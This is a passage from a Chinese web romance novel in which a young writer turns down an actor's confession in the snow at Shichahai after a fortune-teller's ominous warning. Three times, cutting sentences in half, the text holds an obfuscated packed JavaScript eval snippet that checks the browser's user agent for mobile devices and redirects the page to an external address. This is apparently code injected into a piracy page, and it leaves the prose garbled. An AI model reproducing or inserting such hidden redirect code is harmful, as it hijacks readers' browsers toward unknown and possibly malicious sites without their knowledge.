然而,那份深植于心的隐忧并未完全消散。它只是从尖锐的恐慌,变成了绵长而顽固的背景噪音。 一周后的一个下午,闻朝在图书馆写论文写得头昏脑涨,起身去茶水间接水。手机震动,是一条微信。 沈淮时发来一张照片。 照片里是他的一只手,手腕处缠着简洁的白色绷带,露出修长的手指和一小截小臂。皮肤上还能隐约看见一点未褪尽的淡青色淤痕,旁边随意放着几管药膏。背景是素色的墙壁和木质地板,看起来像是在家里。 下面附了一行字:【快好了能动了】 很平淡的陈述句,没有多余的情绪,甚至没有标点。 闻朝盯着那张照片看了很久。他直接拍了伤处给她看,用一种近乎直白的方式,回应了她之前未曾说出口的担忧。这和他以往的风格不太一样。他没有问她“担心了吗”,也没有刻意安慰说“没事”,只是展示了事实。 这反而让闻朝心里那根绷紧的弦,松了一点点。他或许也察觉到了她之前的沉默和异常,用这种方式,给了她一个安心的理由,同时也划下一条界限:看,只是这样的小事,与你无关。 她握着手机,站在茶水间氤氲的热气里,编辑了好几次回复。最后只发了三个字:【多休息。】 没有问怎么伤的,没有说注意身体,也没有流露出多余的情绪。就像他一样,平淡,克制。 他很快回了一个字:【嗯。】 对话到此结束。 闻朝看着那个“嗯”字,心里涌上一股复杂的滋味。有松了一口气的释然,也有一种难以言喻的怅然若失。他们之间,似乎达成了一种新的、更加谨慎的默契。彼此都站在那条无形的界线两侧,不再试图靠近,也不再轻易试探。 这样也好,她对自己说。这才是最安全、最理智的距离。 她收起手机,端着水杯回到座位,重新将注意力投入到密密麻麻的文献中。窗外的天色渐渐暗了下来,图书馆里的灯一盏盏亮起,将她包裹在一种熟悉的、令人安心的寂静里。 只是,当她偶尔停下敲击键盘的手指,望向窗外沉沉夜色时,脑海里总会不受控制地闪过那张的照片,那青紫的痕迹,还有那句简单的“快好了”。 然后,便是更深、更沉的寂静。 十二月初,北京落下今冬第一场像样的雪。 闻朝刚结束与导师的讨论,从人文楼走出时,细雪正纷纷扬扬。校园静谧,铺上一层柔软的灰白。她拉紧围巾,低头走向地铁站。 手机在口袋震动,特别关注提示她只设了宋枝、陆易安和几个关键学术号。她疑惑地取出,屏幕上的名字让她呼吸骤停。 沈淮时。 时隔近月,他发来一张照片。不是片场,非工作照。一条覆着薄雪的林荫道,两旁梧桐枝桠积雪,道路延伸向远方朦胧雾气。清冷的冬日光线,路上空无一人,只有几行新鲜脚印。 照片下面,两个字:【初雪。】 简洁,平静,像老友随手分享的风景。 闻朝停在雪中。雪花落在屏幕上,迅速融化成细小水珠。她看着那两个字和那条寂静的雪路,心脏像被什么柔软的东西轻轻攥住,酸胀,却渗出一丝陌生的暖意。 他看到了雪,他看到了这场初雪,并分享给了她。 或许,他也想起了更早以前,他们在不同时空下,曾遥遥分享过的那一盏盏孤寂却相似的“光”。 寒风卷起雪沫。闻朝盯着屏幕,指尖悬在键盘上,良久。 该回什么? 最终,她什么也没有回复。按熄屏幕,放回口袋,抬头望向漫天飞雪。雪花落在睫毛,冰凉,转瞬融化。 她迈步,继续走向地铁站。积雪在脚下发出轻微的、持续的咯吱声。 几天后的黄昏,闻朝在图书馆靠窗的老位置整理笔记。窗外暮色渐沉,天际残留一抹暗金。手机在桌面上震动,屏幕亮起,是那个已不再陌生的号码。 她看着它震动了五六下,才拿起,走到走廊尽头的露台。冷风扑面。 “喂?”她声音平稳。 “是我。”沈淮时的声音传来,比之前清朗了些。 闻朝指尖微微一蜷,“手……恢复得怎么样?” “还行,在复健,有点慢。”他语气寻常,像在聊天气,“比躺着看天花板有意思。” “嗯。” 短暂的沉默。他能主动提及伤势,用这样平淡的口吻,让她稍稍松了紧绷的心弦。 他沉默片刻,背景很安静,像是在单独的病房或休息处,“闻朝,你最近在忙什么?” “老样子,看书,写东西。” “写新故事了?” “嗯。” “关于什么的?”他追问,语气里带着一丝不易察觉的探询。 闻朝看着窗外暮色里光秃的枝桠,在越来越暗的天光中画出疏朗的线条。她缓缓吐出一口气,说:“写一个关于……保持距离的故事。” 电话那头沉默下去。长久的,令人心慌的沉默。晚风穿过楼宇间隙,带来远处隐约的车声。 许久,沈淮时的声音再次响起,褪去了之前的温和,变得清晰而冷静,甚至有些疏淡,“闻朝,拉萨那个老喇嘛说的话,你信了多少?” 她呼吸一滞。他知道了?宋枝说的?还是……他只是敏锐地猜到了她态度变化的根源? “我……”她语塞。 “我找人打听过。”他直接揭晓了答案,语气平静无波,“你们在色拉寺后山,遇到一个老僧人,求了签。”他顿了顿,每个字都敲在闻朝心上,“‘逆风’,‘伤损’,‘难以聚首’,是这些,对吗?” 原来他什么都知道。在她独自消化那些谶言,做出退后决定的时候,他已经不动声色地掌握了全部“情报”。这种被彻底看透,又被他以如此直接的方式摊开来的感觉,让她难堪又刺痛。 “沈老师,”她用上了这个刻意疏远的称呼,指尖抵着冰凉栏杆,“那些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17403718|198249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话,是没科学依据。但有些道理,不用占卜也明白。我们……本来就不是一个世界的人。你的世界光太亮,风太大,我……” “所以你就单方面决定了?”他打断她,声音里终于透出一丝压抑的波澜,“决定因为几句没来由的话,因为你自己想象的‘可能’存在的风险,就退回‘普通朋友’的位置,甚至准备连朋友都不做了?” “我不是单方面决定!”闻朝也提高了声音,带着连日来的压抑和委屈,“我是在考虑现实!你这次受伤,医院外面有多少镜头?如果被他们拍到我出现在那里,会怎么写?会不会影响你养伤?会不会给你和你的团队添乱?这些不就是‘风势’吗?老喇嘛说的也许不对,但这种‘风险’是实实在在存在的!沈淮时,你看得比谁都清楚!” 她一口气说完,胸膛起伏。电话两端都只剩下急促的呼吸声。 半晌,沈淮时再次开口,声音已经恢复了平静,甚至有些疲惫,“闻朝,我是在这个圈子里。我有团队,有应对危机的经验,有必须承担的压力。这些是我的事,是我选择这条路就必须面对的。但我没你想的那么脆弱,脆弱到需要别人,尤其是你用远离的方式来‘保护’。” 他字字清晰,“如果因为怕所谓的‘连累’,就要切断所有让我觉得真实和放松的联系,那这光,这星途,还有什么意思?” 闻朝说不出话。眼泪毫无征兆地涌上来,她仰起头,用力眨回去。 “这次只是意外,是剧组安全排查的疏忽。”他继续说,语气笃定,“跟你,跟任何玄虚的预言,都没有关系。你明白吗?” 她明白。理智上她都明白。可情感上,那种害怕成为“负累”、害怕因为自己哪怕一丝一毫的不慎而让他陷入困境的恐惧,已经深植心底。 “沈淮时,”她声音哽咽,“我只是……赌不起。” 任何可能伤害到他的概率,哪怕只有万分之一,她也赌不起。 这一次,沉默的人换成了他。长久的寂静,只有电流声证明通话还未中断。 就在闻朝以为他已经无话可说时,他的声音再次传来,很轻,却带着一种沉重的力量,一字一句,敲进她耳膜:“闻朝,如果我说,我赌得起呢?” 她愣住了。 “如果我说,那些‘风势’,那些‘风险’,我愿意承担呢?”他慢慢地说,仿佛每个字都经过深思熟虑,“如果我说,对我来说,‘靠近’的温暖,远比‘远离’的安全,更值得呢?” 晚风骤停。世界仿佛在那一刻静止。远处的车流声、图书馆隐约的人语,都褪去。只有他这句话,在她空旷的心原上反复回荡,激起惊涛骇浪。 “你……”她张了张嘴,却发不出完整的声音。 “你不用现在回答我。”他似乎轻轻吸了口气,声音缓和下来,“好好想想。也给我点时间养好胳膊。” 他停顿了一下,声音低了下去,带着一种近乎温柔的笃定: “别怕,闻朝。” “风来了,我们一起扛。” 通话结束,忙音响起。 闻朝慢慢蹲下身,背靠着冰冷的露台栏杆,将脸深深埋进臂弯。 暮色彻底吞没天际,校园路灯次第亮起,昏黄的光晕在她颤抖的肩头投下模糊光影。 远处,图书馆的轮廓静静矗立在深蓝的夜幕下,窗口透出无数温暖而稳定的光点。 63. 但是,我承担不起 接下来的几天,闻朝强迫自己回归日常。 上课,泡图书馆,和宋枝陆易安吃饭聊天,甚至参加了系里一个关于“当代叙事中的距离美学”的小型研讨会。她努力表现得和往常一样,只是眼底深处,总有一抹挥之不去的怔忪。 沈淮时没有再来电话,也没有再发消息。那通电话之后,他好像真的给了她“好好想想”的空间,也给了自己“养好胳膊”的时间。 但闻朝知道,那根被接通的线,并没有真正断开。它只是暂时沉默了,等待着某一方的回应,或者,等待着时间给出最终的答案。 图书馆里,她翻看着关于“风险”与“选择”的社会学著作,那些冷冰冰的理论和数据,却让她不断想起他沙哑疲惫的“擦破点皮”,想起医院仪器规律的滴答声,想起他说的“没你想的那么脆弱”。 理智告诉她,事故是意外,他的世界自有其运行的规则和缓冲。可情感上,那份后怕和自责,依旧盘踞不去。 一周后的傍晚,宋枝硬拉着她去什刹海看雪,“听说那边雪景特好,冰场也开了,去走走嘛,别老闷在屋里。” 闻朝拗不过,裹紧了羽绒服跟着去了。 什刹海冰面上果然热闹,溜冰的人影穿梭,欢笑声在冷冽的空气里飘散。岸边堆着几个憨态可掬的小雪人,戴着树枝做的帽子和围巾。雪还在细细密密地下着,天地间一片朦胧的灰白。 宋枝兴奋地跑到冰场边看人滑冰,闻朝则沿着岸边慢慢走。雪花落在她的蓝色渐变围巾上,很快积了一层。她正低头拂雪,视线里,一双沾着雪沫的黑色靴子停在了她面前。 她动作一顿,缓缓抬起头。 沈淮时站在那里。戴着口罩,没戴帽子,只穿着件看起来并不算太厚的深灰色大衣,领口微微敞着。他的脸色在雪光映衬下显得有些苍白,但那双眼睛,却亮得惊人,直直地望进她眼里。 他就这样,突兀地,真实地,出现在了本该只有游客和市民的什刹海冰场边。 闻朝的心跳,在那一瞬间,漏跳了好几拍。周围嘈杂的人声、冰鞋摩擦冰面的声音,都瞬间远去。她张了张嘴,却没发出声音。 “刚好路过。”他先开口,声音比电话里更清晰,也带着室外寒冷的质感,“看到你了。” 闻朝不信。这“刚好”太过巧合。但她什么也没问,只是下意识地捏紧了围巾的尾端。 雪花在他们之间静静飘落。 “手……能出来走动了?”她终于找回了自己的声音。 “嗯,复健医生让适当活动。”他语气寻常,目光却一直没离开她的脸,“闷坏了。” 又是短暂的沉默。不远处的宋枝似乎注意到了这边,朝这边张望了一下,没有立刻过来。 “闻朝,”他看着她,目光专注而直接,“上次电话里说的,不是一时冲动。我想了很久,从在拉萨,你突然开始躲着我的时候,就在想。” 他的语气平缓而慎重,每一个字都咬得很清楚:“我明白你的顾虑。那些谶语,外界的目光,可能存在的麻烦……我都明白。在这个圈子里,我见过太多因为压力、流言、无端的牵连而崩断的东西。 闻朝呼吸一窒。 “但我也见过,也经历过,那些因为太过谨慎,因为害怕‘可能’发生的伤害,而生生错过的东西。那些遗憾,是另一种更持久的磨损。我从不信命,只信事在人为。”他看着她,眸光执拗,像是非要在此刻,在这个飘雪的地方,问出一个答案,“风险是存在的,我无法否认,也无法承诺完全屏蔽。但我可以承诺的是,我会尽我所能,去处理、去承担属于我的那部分压力和责任。我的团队很专业,我们也有一套应对突发状况的机制。这不是盲目乐观,是这么多年摸爬滚打积累下的现实。” 他的直白,让她无处可逃。雪落在她睫毛上,冰冷,却让她更加清醒地意识到,此刻不是电话两端,而是面对面。他眼里的情绪,清晰可见。闻朝的喉咙发紧,她想说点什么,却发不出声音,只能看着他。 “闻朝,”他叫她的名字,声音很轻,却异常清晰,“我真的好奇,你的想法是什么。你写了那么多情爱,洞察过那么多人心,不可能毫无察觉。” 察觉什么? 察觉那些深夜分享路灯和雪景时,字里行间藏着的、超越寻常的在意? 察觉他获奖感言里特意提及她名字时,那份郑重? 察觉他在舆论风波后,那通直接揭开她恐惧源头的电话里,压抑的急切和不容置疑的担当? 还是察觉此刻,他带着未愈的伤,出现在这冰天雪地里,只为了当面问出这一句? 她当然有所察觉。只是那份察觉,被她用“不可能”、“不般配”、“风险太大”层层包裹,压进了心底最深的角落。 闻朝的心跳得像要撞出胸膛。他的话,那么真诚,那么有力量,几乎要摧毁她辛苦筑起的所有防线。她仿佛能看到他描绘的那个“一起”的未来,带着光,也带着未知的风雨,诱人又令人畏惧。 泪水毫无预兆地蓄满了眼眶。她用力眨了眨,没让它们掉下来。时间一分一秒过去,沉默在两端蔓延,变得有些沉重。 沈淮时的目光柔软下来,带着一种近乎恳切的温度,“闻朝,你从来都不是我的负担。相反,和你在一起的放松和真实,是别处很难找到的。你让我觉得……我不是永远在角色里,在镜头前。我可以只是沈淮时。”他微微吸了口气,像是下定了最后的决心,“所以,我不想因为‘可能’的风险,就放弃‘确定’的温暖。我不想我们之间,只剩下谨慎的问候和分享初雪的照片。我想走近一点,想有更多的‘一起’,不仅仅是分享风景,也想分享生活里的其他部分,好的,坏的,平静的,喧嚣的。” 他紧追不舍,不给她任何逃避的空间。他上前了小半步,距离拉近,她能闻到他身上清冽的气息,混合着冰雪的味道。他微微低下头,眸光温柔,却又带着一种不容置疑的认真,比站在领奖台上接过最佳男主角奖杯时,还要郑重千万倍。 雪花静静地落。 “如果我是真的……”他停顿了一下,喉结滚动,声音里终于泄露出一丝难以掩饰的紧张,却又无比坚定,“闻朝,我喜欢你。不是对粉丝,也不是对偶然邂逅的朋友的那种喜欢。是想参与你未来的那种喜欢。” 世界,在那一刻,彻底安静下来。 什刹海的喧闹,落雪的簌簌声,远处汽车的鸣笛,一切的一切,都褪成了模糊的背景音。 只有他这句话。 像惊雷,炸响在她耳边;又像最轻柔的雪,覆盖了她所有的防备和伪装。 闻朝瞪大了眼睛,看着他近在咫尺的脸,看着他眼中那不容错辨的、近乎破釜沉舟的认真和期待。大脑一片空白,血液仿佛倒流,指尖冰凉,心跳却快得要从喉咙里蹦出来。 欣喜吗?有的。像冰封的湖面下,终于有暖流涌过,激起细微却真实的战栗。 但更多的,是汹涌而来的惶恐。 为何惶恐? 因为他是沈淮时。他的喜欢,注定无法是寻常男女间简单的两情相悦。那意味着聚光灯、显微镜、无数双眼睛的审视、层出不穷的解读、可能永无宁日的纷扰。意味着他需要对抗的,可能不仅仅是行业规则和舆论压力。 更因为,她心底最深处的恐惧。那份关于“逆风”和“伤损”的预言阴影,从未真正散去。他此刻的伤,他此行的冒险,是不是已经在验证着什么?如果靠近的代价,是让他一次次陷入这样的境地…… “我……”她张了张嘴,声音颤抖得不成样子,“我……沈淮时,这不……” 她想说“这不合适”,想说“这不可能”,想说“太冒险了”。可看着他那双因为等待而渐渐浮上不安、却依旧固执地看着她的眼睛,所有拒绝的话都堵在喉咙里,化作一片艰涩的沉默。 沈淮时眼中的光,随着她长久的沉默和显而易见的慌乱,一点点黯淡下去。那份游刃有余的、属于顶级演员的掌控感消失了,取而代之的,是一种近乎笨拙的紧张和害怕。 他侧过身,看了一眼依旧在落雪的、灰蒙蒙的什刹海冰面,又转回头,“我想了很久很久……才下定决心要告诉你的。”他声音低了下去,带着一种近乎示弱的坦白,“不是一时冲动。是……从更早的时候,就开始想了。” 他顿了顿,像是鼓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17409632|198249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 足了毕生的勇气,重新看向她,目光里带着孤注一掷的希冀,“闻朝,你愿不愿意……给我一个机会?” 雪花落在他的肩头、发梢,他也浑然未觉,只是执拗地、小心翼翼地,等待着她的回答。 “给我一个……”他声音更轻了,几乎要被风雪吹散,却又异常清晰地钻进她耳朵里,“和你共白头的机会?” 共白头。 闻朝的眼泪,毫无预兆地,夺眶而出。 是因为……太沉重了。 这份告白太美好,美好得像一个易碎的、不该属于她的梦境。而梦境的背面,是她无法忽视的、冰冷坚硬的现实,和她自己都无法原谅的、可能带来“伤损”的恐惧。 她看着他眼中因为她落泪而瞬间涌上的无措和心疼,看着他下意识想抬手,却又顿住的僵硬,看着他笨拙地、近乎哀求的眼神…… 心,像被一只无形的手狠狠攥住,疼得她几乎无法呼吸。 她爱他。 这一点,在此刻,无比清晰。也正是因为爱,她才更怕。怕自己配不上这份孤勇。怕自己成为他星途的拖累。怕那所谓的“逆风”,真的因她而起。 雪,静静地下。将他们笼罩在一个与世隔绝般的寂静空间里。 闻朝透过朦胧的泪眼,看着他。看着他身后那片她和他都钟爱的、此刻却显得格外寂寥的蓝调暮色下的什刹海。 许久,她极其缓慢地,摇了摇头。动作很轻,却带着一种沉滞的、无法挽回的决绝。 沈淮时眼中的光,在那一瞬间,彻底熄灭了。 泪水毫无预兆地蓄满了眼眶。她用力眨了眨,没让它们掉下来。时间一分一秒过去,沉默在两端蔓延,变得有些沉重。终于,闻朝抬起头,迎上他的目光。她的声音有些沙哑,却异常清晰。 “沈淮时,谢谢你。”她顿了顿,每一个字都说得缓慢而艰难,“谢谢你的坦诚,也谢谢你的勇气。能被你这样喜欢,是我的幸运。” 沈淮时眼中的光微微闪动,似乎预感到了什么,唇线抿紧。 “你说的话,我每一个字都听进去了,也相信你是认真的。”闻朝继续说,指尖深深掐进掌心,用疼痛维持着理智,“你想承担的决心,你为此做的准备,我都相信。但是……” 她深吸了一口气,仿佛用尽了全身力气,才说出后面的话,“但是,我承担不起。” “不是不相信你,沈淮时。”闻朝的眼泪终于还是滑落了一滴,她飞快地擦去,“是我太了解我自己了。我做不到你那么勇敢,那么举重若轻。我会一直担心,担心我的存在会不会给你带来麻烦,担心那些流言蜚语会不会影响你,担心下一次的‘意外’会不会又让我无能为力、只能远远看着……这种担忧,会像藤蔓一样缠住我,也会在无形中变成你的压力。” 她摇了摇头,声音哽咽却坚定,“你说我不是你的负担,可如果我自己先把自己当成了负担,这份关系从一开始就倾斜了。我不想要一份需要你不断去证明‘没事’,需要我不断去克服‘恐惧’才能维持的感情。那太累了,对你,对我,都是。” “老喇嘛的话,或许只是一个引子。”她抬头望着他,眼神悲伤而清明,“它只是把我心底深处早就有的、关于我们之间巨大差距的恐惧,给具体化了。沈淮时,我们活在两个节奏、两种压力完全不同的世界。一时的吸引和共鸣,或许能跨越距离,但长久的相处呢?当你的世界被通告、剧组、闪光灯填满,而我的世界只有书页和安静的夜晚时,我们要拿什么来填补中间的鸿沟?仅靠‘喜欢’和‘勇气’,够吗?” 她看见沈淮时的嘴唇动了动,似乎想反驳,但她没有停下,这是她必须说完的话:“你说的‘一起扛’,很动人。可现实里,风真的来了的时候,我可能连站稳都困难,更别说帮你扛了。我只会是被你护在身后的那个,而这恰恰是我最害怕的,害怕成为你的弱点,你的软肋。” “所以,对不起。”闻朝最后说道,泪水无声地流淌,声音却异常决绝,“我做不到。我无法带着这样沉重的心理负担,走进一段明知前路坎坷的关系。与其将来可能因为现实磨损而彼此怨怼,不如现在就停在最好的地方。” 64. 明月高悬,不必入我怀 “你看,雪满头,我们也算共白头了吧?” 沈淮时听完这句话眉头紧锁,闻朝看得出来他眸中的复杂,但她还是摇了摇头,苦涩地笑了笑,“你不必哽咽,我始终爱你。只是明月高悬,不必入我怀。” 她没有抬头看他,话说得异常平静。 他红着眼眶看着闻朝,嘴角下撇,肩下意识一耸。 她知道,他在难过。那么多年,对于他情绪上的小动作,她比他本人更清楚。 可闻朝,你不能心软。 闻朝望着他无法言喻的眼神,本打算继续说出口的话突然间卡在唇边。 他眼神直勾勾地看着她,等着她再说些什么话。 可当她望着他那双悲伤委屈的眼神,那些狠话怎么也说不出口。 闻朝忽然哭了,“我已经爱了你十二年。这十二年来,我的愿望仍然是希望你幸福。”说完这话,她不知道为什么,竟然有种莫名的释然。“我不信佛,可每年我向神佛求的愿都是希望你平安顺遂。” 他忽而不说话了,眼泪也在他眼眶中打转,可他仍旧倔强地可以,站在那里一动不动。 可能是想到今后再也没有以后,闻朝忽然间就来了勇气。 她凑近他,双手捧着他的脸,认真地看着他那双通红地充盈着泪水的桃花眼。他哭起来好好看,像破碎的玉石,却也那么让人心疼。 “听我的好不好,”闻朝声音很轻,可落下来却又那么沉重,亲爱的,原谅我。“你的人生必定顺遂无虞,但那人生中没必要有我了。” 沈淮时依旧不说话,只是低着头一言不发。可能死寂的气氛让他有些受不了,他深深地看了闻朝好久,才开口:“所以,你要放弃我吗?” 面对他近乎直白的质问,闻朝哑然,捧着他面庞的手无力地垂下。 他眼眶泛红,面容却是平静。他就那样冷静地看着她放开手,看着她一步一步地远离他。他眼中说不出是遗憾还是失望。 总之,他忽然就觉得北京的雪好像也并没有那么让他期待了。 “所以,我对你而言还是没那么重要,是吗?” 是吗? 是吗? 不是! 可闻朝并不打算为自己解释什么,只是低着头,任凭沉默蔓延。 他也没说话。 渐渐地,他们之间只有沉默。到底为什么,会走到这样呢? 闻朝良久才开口:“沈淮时,我放得下。所以,你也要放下,好不好?” 她说她放得下,并不是不爱了,而是不能爱。 世上的所有感情并非都要求一个结局,有时候,没有后来就已经是最好的结果了。 我不缺爱你的能力,可是终究是有缘相识、无缘相守。 “你会难过吗?”他抬着头,静静地看着她,好像要从她眼中看出她也在不舍也在难过。 可闻朝却是没有说话,雪依旧下个不停,在他们生命中留下一片潮湿。 说难过?再给他一丝希望。 说不难过?可她骗不了自己的心。 沈淮时眼中的光,在那一瞬间彻底熄灭了。他整个人仿佛被骤然抽去了所有温度,连带着周遭的雪也似乎变得更冷、更锋利。 他没有说话,只是那样站着,像一尊凝固在风雪里的雕像。 “沈……”闻朝想叫他,声音却卡在喉咙里,破碎不堪。眼泪还在不受控制地往下掉,模糊了他的轮廓,也模糊了她自己的心。 他终于动了动,极其缓慢地,将目光从她脸上移开,投向远处模糊的冰面和人影。那眼神空洞得让闻朝心慌。 “……我知道了。”他开口,声音嘶哑得厉害,仿佛这几个字用尽了他此刻所有的力气。没有追问为什么,没有试图再争取,甚至连一句“没关系”都没有。他只是接受了,以一种近乎残忍的平静。 这种平静,比任何激烈的反应都更让闻朝心痛。她宁愿他质问,宁愿他生气,宁愿他说她胆小懦弱,也好过这样,像一座无声坍塌的冰山。 他重新看向她,眼神里已经没有刚才那种灼人的光亮,只剩下疲惫,还有一丝极淡的、近乎自嘲的落寞。 “对不起,”他说,声音轻得像叹息,“让你为难了。” 不是“我不该说”,而是“让你为难了”。他把责任全揽在了自己身上。 “不是……我……”闻朝慌乱地想解释,可千头万绪,恐惧、自卑、爱意、预言……所有的一切搅在一起,她什么也说不清楚。她只能摇头,泪水更加汹涌。 沈淮时似乎想抬手,像以前那样,或许是想替她擦掉眼泪,或许只是想碰碰她,但最终只是那只手指蜷缩了一下,又无力地垂下。 他看了一眼远处正犹豫着要不要走过来的宋枝,又深深看了闻朝一眼,那目光沉甸甸的,像是要将她此刻的模样刻进心里。 “雪大了,”他最终只是这样说,声音恢复了某种表面的平稳,却失去了所有温度,“早点回去吧,别感冒。” 说完,他最后看了她一眼,那一眼包含了太多闻朝不敢深究的情绪。然后,他转过身,沿着来时的方向,一步一步,走进了越来越密的雪幕里。灰色大衣的背影挺直,却又透出一种孤绝的萧索,很快便与暮色雪景融为一体,再也看不真切。 闻朝站在原地,浑身的力气都被抽空了。冰冷的雪花不断落在她的发上、肩上、脸上,和温热的泪水混在一起,冻得皮肤生疼。她看着他消失的方向,心脏的位置空落落的,又沉甸甸的,像是破了一个大洞,灌满了冰冷的雪水。 “朝朝?朝朝?闻朝!”宋枝跑了过来,扶住她微微摇晃的身体,焦急地问,“怎么了?那不是沈淮时吗?他跟你说什么了?你怎么哭成这样?” 闻朝说不出话,只是摇头,身体因为寒冷和情绪冲击而微微发抖。 宋枝看着她惨白的脸和红肿的眼睛,又看了看沈淮时离开的方向,似乎明白了什么,没再多问,只是用力抱了抱她。“走,我们先回去,回去再说。” 回公寓的路上,闻朝一路沉默。宋枝体贴地没有追问,只是紧紧握着她的手。车窗外的雪越下越大,将整座城市覆盖成一片苍茫的白。 闻朝望着窗外飞速倒退的街景,脑海里反复回放着刚才的一幕:他眼中熄灭的光,他平静接受的样子,他转身离去的背影,还有那句轻飘飘的“让你为难了”。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她再没有收到沈淮时的任何消息。他的社交账号停留在更早之前的工作宣传,一片风平浪静,仿佛什刹海的那场雪从未落下,那些话从未说出口。 她也没有再去关注任何关于他的娱乐新闻。只是偶尔,在图书馆翻书时,在食堂吃饭时,在夜晚走过路灯下时,会有一瞬间的恍惚,仿佛下一秒,又会收到他分享过来的一张照片,或是一句没头没尾却让她心跳加速的话。 然后,清醒过来,便是更深的寂寥。 宋枝和陆易安小心翼翼地避开相关话题,只是默默陪着她。时间仿佛被拉长,又仿佛停滞不前。 一周后的一个下午,闻朝在图书馆角落,无意间翻开一本很旧的影评集。其中一页被折了角,上面用钢笔写着一行小字,笔迹清隽,不知是哪个前辈留下的: 【爱是想要触碰却又收回的手。】 她盯着那行字,看了很久。 原来,收回手的,不止她一个。他在最后,也收回了那只想要触碰、想要抓紧的手,给了她一个彻底清净的、不再“为难”的世界。 就在这时,手机屏幕忽然亮了,推送了一条娱乐新闻的标题: 【沈淮时伤愈复工,新电影低调开机,或将尝试颠覆性转型……】 伤愈。 闻朝的心猛地一跳。 她看着那两个字,眼前仿佛又浮现出什刹海暮色中他孤绝的背影,耳边响起他那句被风雪吹散的“共白头”。 而他们之间,这场短暂交汇后,或许真的只剩下一片无声的、苍茫的雪原,和那句再也没有机会说出口的—— 对不起,还有,其实我也爱你。 ——正文完——